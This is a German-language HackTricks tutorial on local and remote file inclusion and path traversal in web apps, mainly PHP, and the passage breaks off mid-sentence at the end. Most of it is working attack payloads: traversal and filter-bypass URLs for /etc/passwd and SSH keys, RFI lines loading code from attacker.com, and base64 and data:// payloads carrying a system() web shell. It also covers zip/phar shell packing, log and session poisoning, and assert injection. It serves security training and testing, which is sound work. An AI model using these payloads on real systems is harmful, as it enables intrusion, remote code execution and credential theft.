Dateieinbindung/Pfad Traversierung

Reading time: 26 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Dateieinbindung

Remote File Inclusion (RFI): Die Datei wird von einem Remote-Server geladen (Am besten: Sie können den Code schreiben und der Server wird ihn ausführen). In PHP ist dies standardmäßig deaktiviert (allow_url_include).
Local File Inclusion (LFI): Der Server lädt eine lokale Datei.

Die Schwachstelle tritt auf, wenn der Benutzer in irgendeiner Weise die Datei steuern kann, die vom Server geladen werden soll.

Anfällige PHP-Funktionen: require, require_once, include, include_once

Ein interessantes Tool, um diese Schwachstelle auszunutzen: https://github.com/kurobeats/fimap

Blind - Interessant - LFI2RCE-Dateien

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Durch das Mischen mehrerer *nix LFI-Listen und das Hinzufügen weiterer Pfade habe ich diese erstellt:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Versuchen Sie auch, / durch \ zu ersetzen
Versuchen Sie auch, ../../../../../ hinzuzufügen

Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie hier

Windows

Zusammenführung verschiedener Wortlisten:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Versuchen Sie auch, / durch \ zu ersetzen
Versuchen Sie auch, C:/ zu entfernen und ../../../../../ hinzuzufügen

Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie hier

OS X

Überprüfen Sie die LFI-Liste von Linux.

Grundlegende LFI und Umgehungen

Alle Beispiele sind für Local File Inclusion, können aber auch für Remote File Inclusion angewendet werden (Seite=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

Traversal-Sequenzen nicht rekursiv entfernt

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Umgehen Sie das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenfolge (Umgehung von: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Das ist seit PHP 5.4 gelöst

Kodierung

Sie könnten nicht-standardisierte Kodierungen wie doppelte URL-Kodierung (und andere) verwenden:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Aus existierendem Ordner

Vielleicht überprüft das Backend den Ordnerpfad:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Erkundung von Dateisystemverzeichnissen auf einem Server

Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen auf die Existenz spezifischer Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:

  1. Bestimmen der Verzeichnistiefe: Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei /etc/passwd abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was auf eine Tiefe von drei hinweist:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Ordner prüfen: Hängen Sie den Namen des verdächtigen Ordners (z.B. private) an die URL an und navigieren Sie dann zurück zu /etc/passwd. Die zusätzliche Verzeichnistiefe erfordert eine Erhöhung der Tiefe um eins:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretieren der Ergebnisse: Die Antwort des Servers zeigt an, ob der Ordner existiert:
  • Fehler / Keine Ausgabe: Der Ordner private existiert wahrscheinlich nicht an dem angegebenen Ort.
  • Inhalt von /etc/passwd: Das Vorhandensein des Ordners private ist bestätigt.
  1. Rekursive Erkundung: Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Methoden der Local File Inclusion (LFI) untersucht werden.

Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob /var/www/ ein private Verzeichnis enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.

In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:

  • /etc/passwd, /etc//passwd, /etc/./passwd und /etc/passwd/ werden alle als derselbe Pfad behandelt.
  • Wenn die letzten 6 Zeichen passwd sind, ändert das Anhängen eines / (was es zu passwd/ macht) die Ziel-Datei nicht.
  • Ebenso, wenn .php an einen Dateipfad angehängt wird (wie shellcode.php), wird das Hinzufügen eines /. am Ende die aufgerufene Datei nicht verändern.

Die bereitgestellten Beispiele zeigen, wie man Path Truncation nutzen kann, um auf /etc/passwd zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.

  • Verwendung von Punktsegmenten und zusätzlichen Zeichen: Traversierungssequenzen (../) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um das Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.
  • Bestimmung der erforderlichen Anzahl von Traversierungen: Durch Ausprobieren kann man die genaue Anzahl der benötigten ../-Sequenzen finden, um zum Stammverzeichnis und dann zu /etc/passwd zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie .php) neutralisiert werden, aber der gewünschte Pfad (/etc/passwd) intakt bleibt.
  • Beginn mit einem gefälschten Verzeichnis: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie a/) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet.

Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario könnte einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.

Diese Schwachstelle wurde in PHP 5.3 behoben.

Tricks zum Umgehen von Filtern

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php ist dies standardmäßig deaktiviert, da allow_url_include Aus ist. Es muss Ein sein, damit es funktioniert, und in diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einfügen und RCE erhalten:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Wenn aus irgendeinem Grund allow_url_include auf On gesetzt ist, aber PHP den Zugriff auf externe Webseiten filtert, laut diesem Beitrag könntest du beispielsweise das Datenprotokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

note

Im vorherigen Code wurde das finale +.txt hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die mit .txt endete, sodass die Zeichenkette damit endet und nach der b64-Dekodierung dieser Teil nur Müll zurückgibt und der echte PHP-Code eingeschlossen (und somit ausgeführt) wird.

Ein weiteres Beispiel ohne Verwendung des php:// Protokolls wäre:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root element

In Python in a code like this one:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Wenn der Benutzer einen absoluten Pfad zu file_name übergibt, wird der vorherige Pfad einfach entfernt:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Es ist das beabsichtigte Verhalten gemäß den Dokumenten:

Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen erfolgt ab der absoluten Pfadkomponente.

Java Verzeichnisse auflisten

Es scheint, dass wenn Sie eine Path Traversal in Java haben und Sie nach einem Verzeichnis anstelle einer Datei fragen, eine Auflistung des Verzeichnisses zurückgegeben wird. Dies wird in anderen Sprachen (soweit ich weiß) nicht passieren.

Top 25 Parameter

Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Datei-Inclusion (LFI) Schwachstellen sein könnten (von link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI mit PHP-Wrappers & Protokollen

php://filter

PHP-Filter ermöglichen grundlegende Änderungsoperationen an den Daten, bevor sie gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:

  • String-Filter:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">")
  • Beachten Sie, dass dieser Filter in den modernen Versionen von PHP verschwunden ist
  • Konvertierungsfilter
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transformiert in eine andere Kodierung (convert.iconv.<input_enc>.<output_enc>). Um die Liste aller unterstützten Kodierungen zu erhalten, führen Sie in der Konsole aus: iconv -l

warning

Durch den Missbrauch des convert.iconv.* Konvertierungsfilters können Sie willkürlichen Text generieren, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include zu verwenden, um willkürlichen Text zu verarbeiten. Für weitere Informationen siehe LFI2RCE über PHP-Filter.

  • Kompressionsfilter
  • zlib.deflate: Komprimiert den Inhalt (nützlich, wenn viele Informationen exfiltriert werden)
  • zlib.inflate: Dekomprimiert die Daten
  • Verschlüsselungsfilter
  • mcrypt.* : Veraltet
  • mdecrypt.* : Veraltet
  • Andere Filter
  • Wenn Sie in PHP var_dump(stream_get_filters()); ausführen, können Sie ein paar unerwartete Filter finden:
  • consumed
  • dechunk: Kehrt die HTTP-Chunked-Kodierung um
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

Der Teil "php://filter" ist nicht groß-/kleinschreibungsempfindlich

Verwendung von php-Filtern als Oracle zum Lesen beliebiger Dateien

In diesem Beitrag wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer booleschen Exfiltration der Datei (Zeichen für Zeichen) unter Verwendung von php-Filtern als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.

Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik, aber hier ist eine kurze Zusammenfassung:

  • Verwenden Sie den Codec UCS-4LE, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu erhöhen.
  • Dies wird verwendet, um einen so großen Text zu generieren, wenn der Anfangsbuchstabe korrekt erraten wird, dass php einen Fehler auslöst.
  • Der dechunk-Filter wird alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist, sodass wir wissen können, ob das erste Zeichen hexadezimal ist.
  • Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu betrachten. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
  • Der Codec convert.iconv.UNICODE.CP930 transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein a ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
  • Durch die Verwendung anderer Transformationen wie rot13 am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
  • Wenn das Anfangszeichen eine Zahl ist, muss es base64-kodiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
  • Das endgültige Problem besteht darin, wie man mehr als den Anfangsbuchstaben exfiltriert. Durch die Verwendung von Ordnungsfilter wie convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
  • Und um weitere Daten zu erhalten, besteht die Idee darin, 2 Bytes Junk-Daten am Anfang zu generieren mit convert.iconv.UTF16.UTF16, UCS-4LE anzuwenden, um es mit den nächsten 2 Bytes zu pivotieren, und die Daten bis zu den Junk-Daten zu löschen (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.

Im Beitrag wurde auch ein Tool zur automatischen Durchführung dieser Technik geleakt: php_filters_chain_oracle_exploit.

php://fd

Dieser Wrapper ermöglicht den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Sie können auch php://stdin, php://stdout und php://stderr verwenden, um auf die Dateideskriptoren 0, 1 und 2 zuzugreifen (nicht sicher, wie dies in einem Angriff nützlich sein könnte).

zip:// und rar://

Laden Sie eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greifen Sie darauf zu.
Um das rar-Protokoll missbrauchen zu können, muss es speziell aktiviert werden.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Beachten Sie, dass dieses Protokoll durch die PHP-Konfigurationen allow_url_open und allow_url_include eingeschränkt ist.

expect://

Expect muss aktiviert sein. Sie können Code mit folgendem ausführen:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Geben Sie Ihre Payload in den POST-Parametern an:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Eine .phar-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie include zum Laden von Dateien nutzt. Der folgende PHP-Codeausschnitt zeigt die Erstellung einer .phar-Datei:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Um die .phar-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werden:

bash
php --define phar.readonly=0 create_path.php

Bei der Ausführung wird eine Datei namens test.phar erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) Schwachstellen verwendet werden könnte.

In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes innerhalb dieser durch Funktionen wie file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() oder filesize() durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des phar-Protokolls verbunden.

Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälligkeiten im Kontext von .phar-Dateien, siehe das unten verlinkte Dokument:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Es war möglich, jede beliebige Datei, die von PHP gelesen wird und PHP-Filter unterstützt, auszunutzen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann in diesem Beitrag gefunden werden.
Sehr kurze Zusammenfassung: ein 3-Byte-Überlauf im PHP-Heap wurde ausgenutzt, um die Kette freier Blöcke einer bestimmten Größe zu ändern, um alles an jede Adresse zu schreiben, sodass ein Hook hinzugefügt wurde, um system aufzurufen.
Es war möglich, Blöcke spezifischer Größen auszuwählen, indem mehr PHP-Filter missbraucht wurden.

Weitere Protokolle

Überprüfen Sie weitere mögliche Protokolle, die hier einbezogen werden können:

  • php://memory und php://temp — In den Speicher oder in eine temporäre Datei schreiben (nicht sicher, wie dies bei einem Datei-Inclusion-Angriff nützlich sein kann)
  • file:// — Zugriff auf das lokale Dateisystem
  • http:// — Zugriff auf HTTP(s)-URLs
  • ftp:// — Zugriff auf FTP(s)-URLs
  • zlib:// — Kompressionsströme
  • glob:// — Pfadnamen finden, die dem Muster entsprechen (gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio-Streams (nicht nützlich, um beliebige Dateien zu lesen)

LFI über PHPs 'assert'

Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch, wenn es um die Funktion 'assert' geht, die Code innerhalb von Strings ausführen kann. Dies ist besonders problematisch, wenn Eingaben mit Verzeichnis-Traversierungszeichen wie ".." überprüft, aber nicht ordnungsgemäß bereinigt werden.

Zum Beispiel könnte PHP-Code so gestaltet sein, dass er Verzeichnis-Traversierung verhindert:

bash
assert("strpos('$file', '..') === false") or die("");

Während dies darauf abzielt, Traversierung zu stoppen, schafft es unbeabsichtigt einen Vektor für Code-Injektion. Um dies auszunutzen, um den Inhalt von Dateien zu lesen, könnte ein Angreifer Folgendes verwenden:

plaintext
' and die(highlight_file('/etc/passwd')) or '

Ebenso könnte man zur Ausführung beliebiger Systembefehle Folgendes verwenden:

plaintext
' and die(system("id")) or '

Es ist wichtig, diese Payloads URL-zu kodieren.

PHP Blind Path Traversal

warning

Diese Technik ist relevant in Fällen, in denen Sie den Dateipfad einer PHP-Funktion, die auf eine Datei zugreift, steuern, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von file()) und der Inhalt nicht angezeigt wird.

In diesem unglaublichen Beitrag wird erklärt, wie ein blinder Pfad-Traversal über PHP-Filter missbraucht werden kann, um den Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren.

Zusammenfassend verwendet die Technik die "UCS-4LE"-Kodierung, um den Inhalt einer Datei so groß zu machen, dass die PHP-Funktion, die die Datei öffnet, einen Fehler auslöst.

Dann wird der Filter dechunk verwendet, um das erste Zeichen zu leaken, zusammen mit anderen wie base64 oder rot13, und schließlich werden die Filter convert.iconv.UCS-4.UCS-4LE und convert.iconv.UTF16.UTF-16BE verwendet, um andere Zeichen am Anfang zu platzieren und sie zu leaken.

Funktionen, die anfällig sein könnten: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (nur Ziel nur lesend mit diesem), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Für technische Details siehe den genannten Beitrag!

LFI2RCE

Remote File Inclusion

Wie zuvor erklärt, folgen Sie diesem Link.

Über Apache/Nginx-Logdatei

Wenn der Apache- oder Nginx-Server anfällig für LFI ist, könnten Sie versuchen, auf /var/log/apache2/access.log oder /var/log/nginx/access.log zuzugreifen, indem Sie im User-Agent oder in einem GET-Parameter eine PHP-Shell wie <?php system($_GET['c']); ?> setzen und diese Datei einfügen.

warning

Beachten Sie, dass wenn Sie doppelte Anführungszeichen für die Shell anstelle von einfachen Anführungszeichen verwenden, die doppelten Anführungszeichen für die Zeichenfolge "quote;" geändert werden, PHP einen Fehler auslösen wird und nichts anderes ausgeführt wird.

Stellen Sie außerdem sicher, dass Sie die Payload korrekt schreiben, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Logdatei zu laden, und Sie keine zweite Gelegenheit haben werden.

Dies könnte auch in anderen Logs durchgeführt werden, aber seien Sie vorsichtig, der Code in den Logs könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header authorisation "basic" enthält "user:password" in Base64 und wird in den Logs dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.
Andere mögliche Log-Pfade:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing-Wortliste: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via E-Mail

Senden Sie eine E-Mail an ein internes Konto (user@localhost), die Ihre PHP-Nutzlast wie <?php echo system($_REQUEST["cmd"]); ?> enthält, und versuchen Sie, die E-Mail des Benutzers mit einem Pfad wie /var/mail/<USERNAME> oder /var/spool/mail/<USERNAME> einzuschließen.

Via /proc/*/fd/*

  1. Laden Sie viele Shells hoch (zum Beispiel: 100)
  2. Schließen Sie http://example.com/index.php?page=/proc/$PID/fd/$FD ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden).

Via /proc/self/environ

Wie eine Protokolldatei, senden Sie die Nutzlast im User-Agent, sie wird in der Datei /proc/self/environ reflektiert.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Wenn Sie eine Datei hochladen können, injizieren Sie einfach die Shell-Nutzlast darin (z.B.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Um die Datei lesbar zu halten, ist es am besten, in die Metadaten der Bilder/doc/pdf zu injizieren.

Über ZIP-Datei-Upload

Laden Sie eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und greifen Sie zu:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP-Sitzungen

Überprüfen Sie, ob die Website PHP-Sitzungen (PHPSESSID) verwendet.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP werden diese Sitzungen in /var/lib/php5/sess\[PHPSESSID]_ Dateien gespeichert.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Setze das Cookie auf <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Verwenden Sie die LFI, um die PHP-Sitzungsdatei einzuschließen.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Wenn ssh aktiv ist, überprüfen Sie, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuchen Sie, auf <HOME>/.ssh/id_rsa zuzugreifen.

Via vsftpd logs

Die Protokolle für den FTP-Server vsftpd befinden sich in /var/log/vsftpd.log. In dem Szenario, in dem eine Local File Inclusion (LFI) Schwachstelle vorhanden ist und der Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:

  1. Injizieren Sie eine PHP-Nutzlast in das Benutzernamensfeld während des Anmeldevorgangs.
  2. Nach der Injektion nutzen Sie die LFI, um die Serverprotokolle von /var/log/vsftpd.log abzurufen.

Via php base64 filter (using base64)

Wie in diesem Artikel gezeigt, ignoriert der PHP base64-Filter einfach Non-base64. Sie können dies verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

Dieser writeup erklärt, dass Sie php-Filter verwenden können, um beliebige Inhalte als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie beliebigen php-Code für die Include generieren können, ohne ihn in eine Datei schreiben zu müssen.

LFI2RCE via PHP Filters

Via segmentation fault

Laden Sie eine Datei hoch, die als temporär in /tmp gespeichert wird, und lösen Sie dann in der gleichen Anfrage einen Segmentierungsfehler aus. Die temporäre Datei wird dann nicht gelöscht und Sie können danach suchen.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Wenn Sie eine Local File Inclusion gefunden haben und Nginx vor PHP läuft, könnten Sie mit der folgenden Technik RCE erhalten:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Wenn Sie eine Local File Inclusion gefunden haben, auch wenn Sie keine Sitzung haben und session.auto_start auf Off steht. Wenn Sie den PHP_SESSION_UPLOAD_PROGRESS in multipart POST-Daten bereitstellen, wird PHP die Sitzung für Sie aktivieren. Sie könnten dies ausnutzen, um RCE zu erhalten:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Wenn Sie eine Local File Inclusion gefunden haben und der Server unter Windows läuft, könnten Sie RCE erhalten:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

Wie in diesem Beitrag erklärt, existiert das Skript /usr/local/lib/phppearcmd.php standardmäßig in PHP-Docker-Images. Darüber hinaus ist es möglich, Argumente über die URL an das Skript zu übergeben, da angegeben ist, dass, wenn ein URL-Parameter kein = hat, er als Argument verwendet werden sollte.

Die folgende Anfrage erstellt eine Datei in /tmp/hello.php mit dem Inhalt <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Der folgende Missbrauch einer CRLF-Sicherheitsanfälligkeit ermöglicht RCE (von hier):

